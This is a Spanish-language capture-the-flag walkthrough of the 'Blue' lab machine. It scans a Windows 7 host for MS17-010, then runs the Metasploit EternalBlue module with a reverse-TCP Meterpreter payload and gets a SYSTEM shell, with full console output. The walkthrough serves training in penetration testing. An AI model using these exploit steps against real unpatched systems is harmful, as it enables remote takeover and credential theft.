Blue

Descripción

Puede y aprende a qué exploit es vulnerable esta máquina. Tenga en cuenta que esta máquina no responde al ping (ICMP) y puede tardar unos minutos en arrancar. Esta sala no pretende ser un CTF de boot2root, sino una serie educativa para principiantes. Los profesionales probablemente obtendrán muy poco de esta sala más allá de la práctica básica, ya que el proceso aquí está pensado para principiantes.

Reconocimiento

Podemos ver un Windows 7 Profesional, un puerto de escritorio remoto que nos muestra la información de un dispositivo con el nombre JON-PC, podríamos probar ver si el sevidor windows 7 es vulnerable a MS17-010 (EternalBlue)

msf6 > use auxiliary/scanner/smb/smb_ms17_010

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.171.164
RHOSTS ⇒ 10.10.171.164
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                       Required  Description
   ----         ---------------                                       --------  -----------
   CHECK_ARCH   true                                                  no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                  no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                                 no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlist         yes       List of named pipes to check
                s/named_pipes.txt
   RHOSTS       10.10.171.164                                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                                                                  sing-metasploit.html
   RPORT        445                                                   yes       The SMB service port (TCP)
   SMBDomain    .                                                     no        The Windows domain to use for authentication
   SMBPass                                                            no        The password for the specified username
   SMBUser                                                            no        The username to authenticate as
   THREADS      1                                                     yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.10.171.164:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.171.164:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >
```

Podemos confirmar que el objetivo es vulnerable a eternalblue

Acceso inicial

Buscamos un exploit para eternalblue, en este caso usare el windows/smb/ms17_010_eternalblue, podríamos buscar otras utilizando el comando search eternalblue

use windows/smb/ms17_010_eternalblue

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Co
de Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Co
mmand Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
```

Ahora podremos ver las especificaciones del payload, y el modulo, ponemos los valores correspondientes a nuestra maquina vicitima.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windo
                                             ws Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows E
                                             mbedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St
                                             andard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.8.128    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


View the full module info with the info, or info -d command.
```

Vemos nuestra ip de atacante ip a

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:aa:42:28 brd ff:ff:ff:ff:ff:ff
    inet 192.168.8.128/24 brd 192.168.8.255 scope global dynamic noprefixroute eth0
       valid_lft 1622sec preferred_lft 1622sec
    inet6 fe80::b6e6:8394:5fa:4bd0/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.14.74.176/17 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::54d8:32f3:df60:5a93/64 scope link stable-privacy proto kernel_ll
       valid_lft forever preferred_lft forever
```

Con todos los parámetros listos lanzaremos el ataque, estableciendo la ip vicitma y nuestra ip de atacante.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.171.164    yes       The target host(s), see https://docs.metasploit.com/docs/using
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affe
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windo


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.14.74.176     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

y lanzaremos el exploit obteniendo una sesión de meterpreter

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.14.74.176:4444
[*] 10.10.171.164:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.171.164:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.171.164:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.171.164:445 - The target is vulnerable.
[*] 10.10.171.164:445 - Connecting to target for exploitation.
[+] 10.10.171.164:445 - Connection established for exploitation.
[+] 10.10.171.164:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.171.164:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.171.164:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.171.164:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.171.164:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.171.164:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.171.164:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.171.164:445 - Sending all but last fragment of exploit packet
[*] 10.10.171.164:445 - Starting non-paged pool grooming
[+] 10.10.171.164:445 - Sending SMBv2 buffers
[+] 10.10.171.164:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.171.164:445 - Sending final SMBv2 buffers.
[*] 10.10.171.164:445 - Sending last fragment of exploit packet!
[*] 10.10.171.164:445 - Receiving response from exploit packet
[+] 10.10.171.164:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.171.164:445 - Sending egg to corrupted connection.
[*] 10.10.171.164:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.10.171.164
[*] Meterpreter session 1 opened (10.14.74.176:4444 -> 10.10.171.164:49207) at 2024-03-26 14:35:17 -0400
[+] 10.10.171.164:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.171.164:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.171.164:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > shell
Process 1076 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Encontrando el usuario del sistema, y crackeando su contraseña.